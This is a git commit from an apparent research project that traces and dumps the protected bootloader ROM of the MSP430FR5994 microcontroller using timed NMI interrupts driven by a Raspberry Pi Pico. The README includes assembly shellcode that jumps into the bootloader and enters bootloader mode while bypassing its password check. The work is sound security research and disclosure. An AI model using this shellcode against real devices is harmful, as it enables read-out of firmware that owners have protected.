NMI-based tracing works
This commit is contained in:
parent
a528472828
commit
53d514f247
104
README.md
104
README.md
|
@ -3,6 +3,25 @@
|
|||
Tools to try to dump the MSP430FR BSL, mainly targetting the [MSP430FR5994
|
||||
](https://www.ti.com/product/MSP430FR5994) (on an MSP-EXP430FR5994 devboard).
|
||||
|
||||
## Why
|
||||
|
||||
In 2009, Travis Goodspeed and Aurélien Francillon discovered that the [ROM BSL
|
||||
in flash-based MSP430 units](https://www.ti.com/lit/ug/slau319ae/slau319ae.pdf)
|
||||
can be used as a source of shellcode, ROP gadgets, and even called from
|
||||
software to enable the BSL interface without authentication to read out an
|
||||
otherwise protected firmware.
|
||||
|
||||
Since then, TI has made the mask ROM BSL in newer MSP430 models, such as the
|
||||
MSP430FR5994, an execute-only area of memory. Furthermore, it can only be
|
||||
called from the "Z-area", which is the first 8 bytes of the BSL memory area.
|
||||
Jumping to other locations causes a reset of the microcontroller. Read accesses
|
||||
to the BSL are likewise also forbidden. When JTAG/SBW is enabled, the BSL is
|
||||
not usable at all.
|
||||
|
||||
However, it is still unclear whether these countermeasures are enough to stop
|
||||
attacks that use the BSL as a shellcode, ROP gadget, or readout backdoor
|
||||
source. Hence this project.
|
||||
|
||||
## The idea
|
||||
|
||||
The MSP430FR bootloader ('BSL') resides at `0x1000`. This memory cannot be
|
||||
|
@ -84,6 +103,8 @@ described near the end, the article is quite large.
|
|||
1. The BSL execution is allowed to be interrutped, thus the instruction flow
|
||||
can be traced by dumping CPU register values throughout the BSL execution.
|
||||
This allows for finding arbitrary read gadgets.
|
||||
1. The routine at `0x1002` can also be used to return from interrupts, thus
|
||||
also bypassing that protection.
|
||||
|
||||
## Vulnerabilities of the BSL against use as a source of ROP gadgets
|
||||
|
||||
|
@ -113,6 +134,8 @@ described near the end, the article is quite large.
|
|||
at least not according to the techniques used here.) The first, documented
|
||||
BSL region cannot access the second region directly, it must also go through
|
||||
the corresponding Z-area.
|
||||
1. The BSL command "RX Data Block Fast" has the exact same implementation as
|
||||
the regular "RX Data Block" command. The name is a lie.
|
||||
|
||||
## What has not been checked
|
||||
|
||||
|
@ -121,7 +144,7 @@ described near the end, the article is quite large.
|
|||
might differ from the executed address due to pipelining effects? (cf.
|
||||
[MerryMage's GBA BIOS dump](https://mary.rs/lab/gbabios/)) NOTE: `0x0FFE` is
|
||||
not backed by anything and always reads as 0, so getting this to work will
|
||||
be tricky.
|
||||
be tricky. The MSP430FR5994 does not seem to show open bus properties.
|
||||
1. DMA: can a DMA transfer be used to change the stack contents during BSL
|
||||
execution? (Most likely, just like interrupts can, I simply haven't checked.)
|
||||
1. Dumping of the `0x1b00`..`0x1bff` region still needs to happen.
|
||||
|
@ -141,11 +164,23 @@ with BSL 00.08.35.B3:
|
|||
## Region 2 WIP stuff
|
||||
|
||||
* `0x1b00` entrypoint: basically halts the CPU. Not very useful.
|
||||
* `0x1b02` jumps to `0x1bc2` which almost immediately disables interrupts.
|
||||
* `0x1b02` jumps to `0x1bc2` which almost immediately disables interrupts. This
|
||||
code implements the "Mass Erase" command.
|
||||
* `0x1b04` jumps to `0x1bd6` which almost immediately disables interrupts.
|
||||
|
||||
Haven't been able to get around the IRQ disable thing yet... TODO: try NMI? Or
|
||||
some timer IRQ sneakiness to get around the IRQ disable code.
|
||||
None of these functions return. As there is no known usable gadget yet from in
|
||||
the second BSL region, the "interrupt disable" instructions cannot be skipped,
|
||||
and thus timer interrupts cannot be used to trace the execution flow. However,
|
||||
the NMI pin can still be used as an interrupt source, by sending
|
||||
carefully-timed signals from another device, where the timer interrupt would
|
||||
otherwise happen. This requires a bit more setup, but it is able to work just
|
||||
fine.
|
||||
|
||||
Do note that, unlike with regular interrupts, the MSP430X CPU does need to
|
||||
execute a `reti` instruction to reenable nonmaskable interrupts. As this would
|
||||
normally return into the BSL from user code, doing this would cause a reset.
|
||||
Luckily, it is still possible to change the program counter on the stack of the
|
||||
address returned to, so the experiment can be restarted from the beginning.
|
||||
|
||||
## Proof of concept
|
||||
|
||||
|
@ -155,3 +190,64 @@ mode. Tested on an MSP430FR5994, but no other chips.
|
|||
By setting the `DUMP_MODE` preprocessor definition to 0, it can instead be used
|
||||
as an instruction tracer, accompanied by `logtracer.py`.
|
||||
|
||||
## Useful shellcode
|
||||
|
||||
### Jump to any location in the BSL
|
||||
|
||||
Works only for the first BSL region (`0x1000..0x1800`). `r14` will have fixed
|
||||
value `0xBEEF`.
|
||||
|
||||
```asm
|
||||
pushx.a #address_to_jump_to
|
||||
push.w r12
|
||||
push.w r13
|
||||
mov.w #0xdead, r13
|
||||
mov.w #0xbeef, r14
|
||||
br #0x1002
|
||||
```
|
||||
|
||||
### Return from an interrupt into the BSL
|
||||
|
||||
Works only for the first BSL region (`0x1000..0x1800`). Destroys `r14`.
|
||||
|
||||
```asm
|
||||
push.w r12
|
||||
push.w r13
|
||||
mov.w #0xdead, r13
|
||||
mov.w #0xbeef, r14
|
||||
@ restore status register
|
||||
mov.w 4(sp), sr
|
||||
@ this will restore r12 and r13 and the perform a reta (discarding the sr
|
||||
@ value which reti would preserve)
|
||||
br #0x1002
|
||||
```
|
||||
|
||||
### Enter bootloader mode, bypassing the password check, without clearing RAM
|
||||
|
||||
Do *not* send the BSL password authentication command.
|
||||
|
||||
Cf. Travis Goodspeed's BSL-reenable-shellcode ([a
|
||||
](https://www.usenix.org/legacy/event/woot09/tech/full_papers/goodspeed.pdf),
|
||||
[b](https://archive.org/details/Pocorgtfo02):5)
|
||||
|
||||
```asm
|
||||
@ unlock the BSL
|
||||
mov.w #0xa5a5, 0x1c00
|
||||
@ this jumps to the initialization phase of the BSL, after the RAM clear
|
||||
@ and BSL password-reset-to-not-yet-checked phase
|
||||
@ this probably does need the clock set to 8 MHz to function correctly
|
||||
pushx.a #0x16d4
|
||||
push.w r12
|
||||
push.w r13
|
||||
mov.w #0xdead, r13
|
||||
mov.w #0xbeef, r14
|
||||
br #0x1002
|
||||
```
|
||||
|
||||
Compare with the original, from PoC||GTFO 2:5:
|
||||
|
||||
```asm
|
||||
mov #0xFFFF, r11 ;; Disable BSL password protection.
|
||||
br &0x0c02 ;; Branch to the BSL Soft Entry Point
|
||||
```
|
||||
|
||||
|
|
|
@ -48,7 +48,7 @@ MEMORY {
|
|||
INFOB : ORIGIN = 0x1900, LENGTH = 0x0080 /* END=0x197F, size 128 */
|
||||
INFOC : ORIGIN = 0x1880, LENGTH = 0x0080 /* END=0x18FF, size 128 */
|
||||
INFOD : ORIGIN = 0x1800, LENGTH = 0x0080 /* END=0x187F, size 128 */
|
||||
FRAM (rx) : ORIGIN = 0x4000, LENGTH = 0xBF80 /* END=0xFF7F, size 49024 */
|
||||
FRAM (rx) : ORIGIN = 0xC000, LENGTH = 0x3F80 /* END=0xFF7F, size 49024 */
|
||||
HIFRAM (rxw) : ORIGIN = 0x00010000, LENGTH = 0x00033FF7 /* Boundaries changed to fix CPU47 */
|
||||
JTAGSIGNATURE : ORIGIN = 0xFF80, LENGTH = 0x0004
|
||||
BSLSIGNATURE : ORIGIN = 0xFF84, LENGTH = 0x0004
|
||||
|
|
|
@ -30,12 +30,42 @@
|
|||
#define PIN_ACK 16
|
||||
#define PIN_UART 17
|
||||
|
||||
#define PIN_ACT 18
|
||||
#define PIN_STAT 19
|
||||
|
||||
#define PIO_UNIT pio0
|
||||
#define PIOSM_UART 0
|
||||
#define PIOSM_TRIG 1
|
||||
|
||||
#define UART_BAUD 9600
|
||||
|
||||
/*static void act_irq(uint gpio, uint32_t ev) {
|
||||
if (gpio != PIN_ACT) return;
|
||||
|
||||
//printf("ev: 0x%lx\n", ev);
|
||||
if (ev & GPIO_IRQ_EDGE_FALL) {
|
||||
if (ev & GPIO_IRQ_EDGE_RISE) {
|
||||
//printf("wut\n");
|
||||
} else {
|
||||
//printf("fall\n");
|
||||
//gpio_set_function(PIN_NMI, GPIO_FUNC_NULL);
|
||||
const uint func = GPIO_FUNC_NULL;
|
||||
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
|
||||
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
|
||||
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS
|
||||
);
|
||||
}
|
||||
} else if (ev & GPIO_IRQ_EDGE_RISE) {
|
||||
//printf("rise\n");
|
||||
//gpio_set_function(PIN_NMI, GPIO_FUNC_PIO0);
|
||||
const uint func = GPIO_FUNC_PIO0;
|
||||
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
|
||||
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
|
||||
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS
|
||||
);
|
||||
}
|
||||
}*/
|
||||
|
||||
static void init_gpio(void) {
|
||||
const int func = GPIO_FUNC_PIO0;
|
||||
|
||||
|
@ -65,16 +95,34 @@ static void init_gpio(void) {
|
|||
);
|
||||
hw_write_masked(&iobank0_hw->io[PIN_NMI].ctrl
|
||||
, (func << IO_BANK0_GPIO0_CTRL_FUNCSEL_LSB)
|
||||
| ((uint)(PIN_NMI_POL ? GPIO_OVERRIDE_INVERT
|
||||
: GPIO_OVERRIDE_NORMAL) << IO_BANK0_GPIO0_CTRL_OUTOVER_LSB)
|
||||
| ((uint)(/*PIN_NMI_POL ?*/ GPIO_OVERRIDE_NORMAL//INVERT
|
||||
/*: GPIO_OVERRIDE_NORMAL*/) << IO_BANK0_GPIO0_CTRL_OUTOVER_LSB)
|
||||
, IO_BANK0_GPIO0_CTRL_FUNCSEL_BITS | IO_BANK0_GPIO0_CTRL_OUTOVER_BITS
|
||||
);
|
||||
gpio_set_outover(PIN_NMI, GPIO_OVERRIDE_INVERT);
|
||||
|
||||
sio_hw->gpio_clr = 1u << PIN_ACK;
|
||||
sio_hw->gpio_oe_set = 1u << PIN_ACK;
|
||||
gpio_init(PIN_ACK);
|
||||
gpio_set_dir(PIN_ACK, GPIO_OUT);
|
||||
gpio_set_function(PIN_ACK, GPIO_FUNC_SIO);
|
||||
|
||||
sio_hw->gpio_oe_clr = 1u << PIN_ACT;
|
||||
gpio_init(PIN_ACT);
|
||||
gpio_set_dir(PIN_ACT, GPIO_IN);
|
||||
gpio_set_function(PIN_ACT, GPIO_FUNC_SIO);
|
||||
|
||||
sio_hw->gpio_set = 1u << PIN_STAT;
|
||||
sio_hw->gpio_oe_set = 1u << PIN_STAT;
|
||||
gpio_init(PIN_STAT);
|
||||
gpio_put(PIN_STAT, true);
|
||||
gpio_set_dir(PIN_STAT, GPIO_OUT);
|
||||
gpio_set_function(PIN_STAT, GPIO_FUNC_SIO);
|
||||
|
||||
const int irq = PIO0_IRQ_1;
|
||||
irq_set_enabled(irq, false);
|
||||
irq_set_priority(irq, PICO_HIGHEST_IRQ_PRIORITY);
|
||||
irq_set_enabled(irq, true);
|
||||
}
|
||||
|
||||
static uint off_uart, off_trig;
|
||||
|
@ -84,15 +132,16 @@ static void init_pio(void) {
|
|||
|
||||
off_trig = pio_add_program(PIO_UNIT, &trigctl_program);
|
||||
trigctl_pio_init(PIO_UNIT, PIOSM_TRIG, off_trig,
|
||||
trig_source_pin, PIN_NMI, PIN_TRIGGER, PIN_TRIGGER_POL,
|
||||
PIN_NMI_POL, true, 125); // 1 MHz
|
||||
trig_source_pin, PIN_NMI, PIN_TRIGGER,
|
||||
//PIN_TRIGGER_POL, PIN_NMI_POL,
|
||||
true, 5); // 25 MHz
|
||||
|
||||
const int irq = PIO0_IRQ_1;
|
||||
/*const int irq = PIO0_IRQ_1;
|
||||
irq_set_enabled(irq, false);
|
||||
trigctl_ack_glitch_irq(PIO_UNIT, PIOSM_TRIG);
|
||||
trigctl_set_glitch_irq_enabled(PIO_UNIT, PIOSM_TRIG, 1, true);
|
||||
irq_set_priority(irq, PICO_HIGHEST_IRQ_PRIORITY);
|
||||
irq_set_enabled(irq, true);
|
||||
irq_set_enabled(irq, true);*/
|
||||
}
|
||||
|
||||
static bool uart_poll_ch(uint8_t* ch) {
|
||||
|
@ -107,23 +156,31 @@ static bool uart_poll_ch(uint8_t* ch) {
|
|||
int main() {
|
||||
stdio_init_all();
|
||||
|
||||
init_gpio();
|
||||
init_pio();
|
||||
init_gpio();
|
||||
|
||||
while (!stdio_usb_connected());
|
||||
/*gpio_set_irq_enabled_with_callback(PIN_ACT,
|
||||
GPIO_IRQ_EDGE_RISE|GPIO_IRQ_EDGE_FALL, true, act_irq);*/
|
||||
|
||||
const uint LED_PIN = PICO_DEFAULT_LED_PIN;
|
||||
gpio_init(LED_PIN);
|
||||
gpio_set_dir(LED_PIN, GPIO_OUT);
|
||||
gpio_put(LED_PIN, true);
|
||||
|
||||
//while (!stdio_usb_connected());
|
||||
|
||||
uint32_t delay = 1;
|
||||
const uint32_t len = 2;
|
||||
const uint32_t len = 16;
|
||||
|
||||
while (true) {
|
||||
if (pio_sm_is_tx_fifo_empty(PIO_UNIT, PIOSM_TRIG)) {
|
||||
printf("push offlen\n");
|
||||
trigctl_push_off_len(PIO_UNIT, PIOSM_TRIG, delay, len);
|
||||
//printf("push offlen\n");
|
||||
trigctl_push_off_len(PIO_UNIT, PIOSM_TRIG, delay*25, len*25);
|
||||
}
|
||||
|
||||
uint8_t ch;
|
||||
if (uart_poll_ch(&ch)) {
|
||||
printf("got cmd: %c\n", ch);
|
||||
//printf("got cmd: %c\n", ch);
|
||||
switch (ch) {
|
||||
case '0': delay = 1; break;
|
||||
case '+': ++delay; break;
|
||||
|
@ -131,17 +188,17 @@ int main() {
|
|||
default: goto noack;
|
||||
}
|
||||
|
||||
printf("send ack\n");
|
||||
//printf("send ack\n");
|
||||
sio_hw->gpio_set = 1u << PIN_ACK;
|
||||
busy_wait_us_32(50);
|
||||
sio_hw->gpio_clr = 1u << PIN_ACK;
|
||||
printf("sent ack\n");
|
||||
//printf("sent ack\n");
|
||||
|
||||
noack:;
|
||||
}
|
||||
|
||||
if (PIO_UNIT->irq & (1u << PIOSM_TRIG)) {
|
||||
printf("sent nmi\n");
|
||||
//printf("sent nmi\n");
|
||||
trigctl_ack_glitch_irq(PIO_UNIT, PIOSM_TRIG);
|
||||
}
|
||||
}
|
||||
|
|
|
@ -46,8 +46,8 @@ enum trigctl_source {
|
|||
};
|
||||
|
||||
static inline void trigctl_pio_init(PIO pio, uint sm, uint prog_offs,
|
||||
enum trigctl_source trigsrc, uint glitch_pin, uint trig_pin,
|
||||
enum glitch_polarity trig_in_pol, enum glitch_polarity glitch_out_pol
|
||||
enum trigctl_source trigsrc, uint glitch_pin, uint trig_pin/*,
|
||||
enum glitch_polarity trig_in_pol, enum glitch_polarity glitch_out_pol*/
|
||||
, bool enable, int divider) {
|
||||
pio_sm_set_enabled(pio, sm, false);
|
||||
|
||||
|
|
248
src/main.c
248
src/main.c
|
@ -31,7 +31,13 @@ static void setup_io(void) {
|
|||
P1OUT &= ~BIT5;
|
||||
P1DIR &= ~BIT5;
|
||||
P1SEL0 &= ~BIT5;
|
||||
P2SEL0 &= ~BIT5;
|
||||
P1SEL1 &= ~BIT5;
|
||||
|
||||
P3OUT |= BIT0; P3OUT &= ~BIT2;
|
||||
P3DIR |= BIT0; P3DIR &= ~BIT2;
|
||||
P3REN = BIT2; // enable PDR on P3.1
|
||||
P3SEL0 &= ~(BIT0|BIT2);
|
||||
P3SEL1 &= ~(BIT0|BIT2);
|
||||
|
||||
// uart to pico (eUSCI_A3)
|
||||
P6OUT = BIT0;
|
||||
|
@ -63,51 +69,67 @@ static void pico_wait_ack(void) {
|
|||
|
||||
// ---
|
||||
|
||||
__attribute__((__persistent__)) // put in FRAM (BSL clears RAM)
|
||||
static uint32_t regbak[16]={0};
|
||||
__attribute__((__persistent__))
|
||||
static uint8_t stackbak[16]={0};
|
||||
|
||||
extern uint16_t curticks, curticks_;
|
||||
__attribute__((__persistent__, __used__))
|
||||
uint16_t curticks = 1;
|
||||
__attribute__((__persistent__, __used__))
|
||||
uint16_t curticks_ = 1;
|
||||
|
||||
extern uint16_t done_irq;
|
||||
__attribute__((__persistent__, __used__))
|
||||
uint16_t done_irq = 0;
|
||||
|
||||
|
||||
extern uint16_t curaddr;
|
||||
__attribute__((__persistent__, __used__))
|
||||
uint16_t curaddr = 0x1000;
|
||||
|
||||
/*extern uint16_t traceaddr;
|
||||
__attribute__((__persistent__))
|
||||
uint16_t traceaddr = 0x1000; // changeme*/
|
||||
|
||||
typedef void (*bsl_fn)(void);
|
||||
|
||||
#define START_HARD 1/*36000*/
|
||||
/*#define START_SOFT 36990*/
|
||||
#define END_CYC 0xffffu
|
||||
/*#define SKIP_CYC_OFF 5*/
|
||||
|
||||
// DUMP_MODE == 0 => insn trace mode
|
||||
#define DUMP_MODE 1
|
||||
#define DUMP_MODE 0
|
||||
#define DUMP_CYC_OFF 14
|
||||
#define DUMP_ADDR_START 0x1000
|
||||
#define DUMP_ADDR_START (0x1000+2) /* there's an off-by-4 error */
|
||||
#define DUMP_ADDR_END 0x1800
|
||||
|
||||
#define USE_NMI 1
|
||||
|
||||
#if USE_NMI
|
||||
#define STORAGE
|
||||
#define CODESP __attribute__((__section__(".lower.data")))
|
||||
#else
|
||||
#define STORAGE __attribute__((__persistent__))
|
||||
#define CODESP
|
||||
#endif
|
||||
|
||||
STORAGE static uint32_t regbak[16]={0};
|
||||
STORAGE static uint8_t stackbak[16]={0};
|
||||
|
||||
extern uint16_t curticks, curticks_;
|
||||
STORAGE uint16_t curticks = 1;
|
||||
STORAGE uint16_t curticks_ = 1;
|
||||
|
||||
extern uint16_t done_irq;
|
||||
STORAGE uint16_t done_irq = 0;
|
||||
|
||||
|
||||
extern uint16_t curaddr;
|
||||
STORAGE uint16_t curaddr = 0x1000;
|
||||
|
||||
/*extern uint16_t traceaddr;
|
||||
__attribute__((__persistent__))
|
||||
uint16_t traceaddr = 0x1000; // changeme*/
|
||||
|
||||
void do_trace(void);
|
||||
__attribute__((__no_inline__)) void do_trace(void) {
|
||||
__attribute__((
|
||||
#if USE_NMI
|
||||
__section__(".lower.data")
|
||||
#endif
|
||||
, __no_inline__, __used__))
|
||||
void do_trace(void) {
|
||||
const bool nmi = USE_NMI;
|
||||
P1OUT ^= BIT1;
|
||||
|
||||
// TODO: chain 2 timers for 32 bit tick number
|
||||
// TODO: continue instead of restarting?
|
||||
// ^: mightn't be possible: instruction exec restarts after irq
|
||||
|
||||
// init timer TA0
|
||||
__bic_SR_register(GIE);
|
||||
if (nmi) {
|
||||
done_irq = 1;
|
||||
|
||||
SFRIE1 = NMIIE;
|
||||
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;
|
||||
} else {
|
||||
#if DUMP_MODE
|
||||
//traceaddr = 0x1002;
|
||||
TA1CCR0 = DUMP_CYC_OFF;
|
||||
|
@ -127,9 +149,12 @@ __attribute__((__no_inline__)) void do_trace(void) {
|
|||
//TA1CCTL0 |= CCIFG;
|
||||
//TA1CCTL0 &= ~(CCIE|CCIFG);
|
||||
TA1CCTL0 = CCIE;
|
||||
}
|
||||
// exec bsl
|
||||
asm volatile(
|
||||
//#if !USE_NMI
|
||||
"mov.a #(__stack-8), sp\n"
|
||||
//#endif
|
||||
"mov.w #0xaaaa, r4\n"
|
||||
"mov.w #0xaaaa, r5\n"
|
||||
"mov.w #0xaaaa, r6\n"
|
||||
|
@ -147,18 +172,21 @@ __attribute__((__no_inline__)) void do_trace(void) {
|
|||
// extra 0x1002 magic
|
||||
"mov.w curaddr, sp\n"
|
||||
#endif
|
||||
|
||||
#if USE_NMI
|
||||
// send trigger
|
||||
"bis.w #0x10, P1OUT\n"
|
||||
#else
|
||||
//TA1CTL = TASSEL__SMCLK | ID__1 | MC__UP | TACLR | TAIE;
|
||||
"mov.w #0x0216, TA1CTL\n"
|
||||
"eint\n"
|
||||
"call #0x1002\n" // CHANGEME (address to trace insn flow of)
|
||||
/*"nop\n"
|
||||
#endif
|
||||
"nop\n"
|
||||
"nop\n"
|
||||
"nop\n"
|
||||
"nop\n"
|
||||
"nop\n"
|
||||
//"mov.w #0x1337, r8\n"
|
||||
"nop\n"
|
||||
"mov.w #0x1337, r8\n"
|
||||
"dint\nnop\n"
|
||||
"add.w #-1, r4\n"
|
||||
"add.w #1, r5\n"
|
||||
|
@ -180,36 +208,59 @@ __attribute__((__no_inline__)) void do_trace(void) {
|
|||
"add.w #2, r6\n"
|
||||
"add.w #4, r7\n"
|
||||
"add.w #8, r8\n"
|
||||
"1: jmp 1b\n"*/
|
||||
|
||||
"pushx.a #1f\n"
|
||||
"push.w r12\n"
|
||||
"push.w r13\n"
|
||||
"mov.w #0, r12\n"
|
||||
"mov.w #0xdead, r13\n"
|
||||
"mov.w #0xbeef, r14\n"
|
||||
"br #0x1002\n" // CHANGEME (address to trace insn flow of)
|
||||
//#if !USE_NMI
|
||||
"1: jmp 1b\n"
|
||||
//#endif
|
||||
);
|
||||
//while (1) ;
|
||||
//#if !USE_NMI
|
||||
while (1) ;
|
||||
__builtin_unreachable();
|
||||
//#endif
|
||||
}
|
||||
|
||||
void do_collect(uint16_t* sp);
|
||||
__attribute__((__used__, __no_inline__))
|
||||
__attribute__((__used__, __no_inline__
|
||||
#if USE_NMI
|
||||
, __section__(".lower.data")
|
||||
#endif
|
||||
))
|
||||
void do_collect(uint16_t* sp) {
|
||||
#if USE_NMI
|
||||
// ack nmi
|
||||
SFRIFG1 &= ~NMIIFG;
|
||||
SYSUNIV = 0;
|
||||
|
||||
P1OUT &= ~BIT4; // lower trigger signal
|
||||
pico_send_cmd('+'); // increase delay until nmi
|
||||
pico_wait_ack();
|
||||
|
||||
SFRIE1 = NMIIE;
|
||||
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;
|
||||
#else
|
||||
//P1OUT=0;
|
||||
TA1CTL &= ~(uint16_t)(TAIE|MC__UP);
|
||||
|
||||
// 0x1bc2/4 and 0x1bd6/8 contain a bic #GIE, sr instruction! these should be 2 bytes in size
|
||||
/*if (pc16 == 0x1bc2 || pc16 == 0x1bc4 || pc16 == 0x1bd6 || pc16 == 0x1bd8) {
|
||||
sp[24] |=
|
||||
}*/
|
||||
// 0x1b96 does a jump to ???? (probably from a memory location?)
|
||||
#endif
|
||||
|
||||
#if DUMP_MODE
|
||||
uint16_t v1 = sp[2*(12-4)];
|
||||
uint16_t v2 = sp[2*(13-4)];
|
||||
|
||||
if (!(curaddr & 0xf)) {
|
||||
iprintf("%04x: ", curaddr);
|
||||
if ((curaddr & 0xf) == 0x2) {
|
||||
iprintf("%04x: ", curaddr-2/*correct off-by-2 error*/);
|
||||
}
|
||||
iprintf("%02x %02x %02x %02x ",
|
||||
v1 & 0xff, (v1 >> 8) & 0xff,
|
||||
v2 & 0xff, (v2 >> 8) & 0xff
|
||||
);
|
||||
if ((curaddr & 0xf) == 0xc) {
|
||||
if ((curaddr & 0xf) == 0xe) {
|
||||
iprintf("\r\n");
|
||||
}
|
||||
#else
|
||||
|
@ -255,17 +306,23 @@ void do_collect(uint16_t* sp) {
|
|||
|
||||
next_iter:
|
||||
#if DUMP_MODE
|
||||
if (curaddr == DUMP_ADDR_END) while(1); // start of info mem
|
||||
curaddr += 4;
|
||||
if (curaddr > DUMP_ADDR_END) while(1); // start of info mem
|
||||
#else
|
||||
if (curticks == END_CYC) while(1);
|
||||
//if (curticks == END_CYC) while(1);
|
||||
++curticks;
|
||||
#endif
|
||||
#if USE_NMI
|
||||
//P1OUT ^= BIT1;
|
||||
// return...
|
||||
#else
|
||||
do_trace();
|
||||
__builtin_unreachable();
|
||||
#endif
|
||||
}
|
||||
|
||||
__attribute__((__interrupt__(TIMER1_A0_VECTOR), __naked__))
|
||||
void Timer_A1_ISR(void);
|
||||
__attribute__((__naked__, __interrupt__(TIMER1_A0_VECTOR), __used__))
|
||||
void Timer_A1_ISR(void) {
|
||||
asm volatile(
|
||||
".extern do_collect\n"
|
||||
|
@ -310,26 +367,55 @@ void Timer_A1_ISR(void) {
|
|||
"mov.a sp, r12\n"
|
||||
"call #do_collect\n"
|
||||
"popm.a #12, r15\n"
|
||||
#if USE_NMI
|
||||
"mov.w #do_trace, 2(sp)\n"
|
||||
//"bis.w #0x10, P1OUT\n"
|
||||
#endif
|
||||
"reti\n"
|
||||
);
|
||||
}
|
||||
|
||||
__attribute__((__interrupt__(UNMI_VECTOR)))
|
||||
//extern const uint8_t TRAM_PAYLOAD_START[], TRAM_PAYLOAD_END[];
|
||||
|
||||
__attribute__((__interrupt__(UNMI_VECTOR), __naked__))
|
||||
void NMI_ISR(void) {
|
||||
SFRIFG1 &= ~NMIIE;
|
||||
asm volatile(
|
||||
".extern Timer_A1_ISR\n"
|
||||
|
||||
"xor.b #1, P1OUT\n"
|
||||
/*"bit.b #4, P3IN\n"
|
||||
"jz .Lnotyet\n"*/
|
||||
|
||||
"jmp Timer_A1_ISR\n" // do the general stuff
|
||||
//"reti\n"
|
||||
|
||||
/*".Lnotyet:"
|
||||
"bic.w #0x10, SFRIFG1\n" // clear NMIIFG bit from flags
|
||||
"mov.w #0, SYSUNIV\n"
|
||||
"reti\n"*/
|
||||
);
|
||||
/*SFRIFG1 &= ~NMIIFG;
|
||||
SYSUNIV = 0;
|
||||
//++P1OUT;
|
||||
P1OUT = ((P1OUT+1) & 15) | (P1OUT & 0xF0);
|
||||
P1OUT = ((P1OUT+1) & 15) | (P1OUT & 0xF0);*/
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
CODESP int main(void) {
|
||||
setup_io();
|
||||
setup_clocks();
|
||||
stdio_msp_init();
|
||||
SFRIE1 = NMIIE;
|
||||
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;
|
||||
|
||||
#if USE_NMI
|
||||
// now in do_trace
|
||||
/*SFRIE1 = NMIIE;
|
||||
SFRRPCR = SYSRSTRE__ENABLE | SYSRSTUP__PULLUP | SYSNMIIES__FALLING | SYSNMI__NMI;*/
|
||||
// NOTE: RST/#NMI == SBWTDIO
|
||||
|
||||
P3OUT |= BIT0; // tell pico to enable its NMI line
|
||||
while (!(P3IN & BIT2)) ; // wait for pico to do stuff
|
||||
//P1OUT |= BIT0;
|
||||
#endif
|
||||
|
||||
memset(regbak, 0, sizeof regbak);
|
||||
|
||||
__bis_SR_register(GIE); // enable irq
|
||||
|
@ -351,8 +437,14 @@ int main(void) {
|
|||
puts("hello world!\r\n");
|
||||
|
||||
done_irq = 0;
|
||||
#if USE_NMI
|
||||
pico_send_cmd('0');
|
||||
pico_wait_ack();
|
||||
#endif
|
||||
do_trace();
|
||||
/*while(1);*/__builtin_unreachable();
|
||||
|
||||
pico_send_cmd(0);
|
||||
/*pico_send_cmd(0);
|
||||
while (true) {
|
||||
P1OUT |= BIT4; // send trig
|
||||
__delay_cycles(10);
|
||||
|
@ -361,9 +453,47 @@ int main(void) {
|
|||
pico_send_cmd('+');
|
||||
pico_wait_ack();
|
||||
__delay_cycles(10000);
|
||||
}
|
||||
}*/
|
||||
|
||||
/*do_trace();
|
||||
__builtin_unreachable();*/
|
||||
/*__data20_write_long((uintptr_t)&DMA0SA, (uintptr_t)TRAM_PAYLOAD_START);
|
||||
__data20_write_long((uintptr_t)&DMA0DA, (uintptr_t)0x0000+10);
|
||||
__data20_write_long((uintptr_t)&DMA1SA, (uintptr_t)(TRAM_PAYLOAD_START+2));
|
||||
__data20_write_long((uintptr_t)&DMA1DA, (uintptr_t)0x0002+10);
|
||||
__data20_write_long((uintptr_t)&DMA2SA, (uintptr_t)(TRAM_PAYLOAD_START+4));
|
||||
__data20_write_long((uintptr_t)&DMA2DA, (uintptr_t)0x0004+10);
|
||||
__data20_write_long((uintptr_t)&DMA3SA, (uintptr_t)(TRAM_PAYLOAD_START+6));
|
||||
__data20_write_long((uintptr_t)&DMA3DA, (uintptr_t)0x0006+10);
|
||||
DMA0SZ = 1;
|
||||
DMA1SZ = 1;
|
||||
DMA2SZ = 1;
|
||||
DMA3SZ = 1;
|
||||
DMA0CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
|
||||
DMA1CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
|
||||
DMA2CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
|
||||
DMA3CTL = DMADT_7 | DMASRCINCR_0 | DMADSTINCR_0;
|
||||
DMACTL4 = ROUNDROBIN;
|
||||
DMA0CTL |= DMAEN;
|
||||
DMA1CTL |= DMAEN;
|
||||
DMA2CTL |= DMAEN;
|
||||
DMA3CTL |= DMAEN;
|
||||
DMA0CTL |= DMAREQ;
|
||||
DMA1CTL |= DMAREQ;
|
||||
DMA2CTL |= DMAREQ;
|
||||
DMA3CTL |= DMAREQ;
|
||||
|
||||
for (int i = 0; i < 100; ++i) asm volatile("nop");
|
||||
//asm volatile("br #0\n");
|
||||
asm volatile("1: jmp 1b\n");
|
||||
|
||||
asm volatile(
|
||||
".global TRAM_PAYLOAD_START\n"
|
||||
".global TRAM_PAYLOAD_END\n"
|
||||
"TRAM_PAYLOAD_START:\n"
|
||||
"1: bis.w #3, 0x0202\n"
|
||||
"jmp 1b\n"
|
||||
"TRAM_PAYLOAD_END:\n"
|
||||
);*/
|
||||
|
||||
while(1);
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue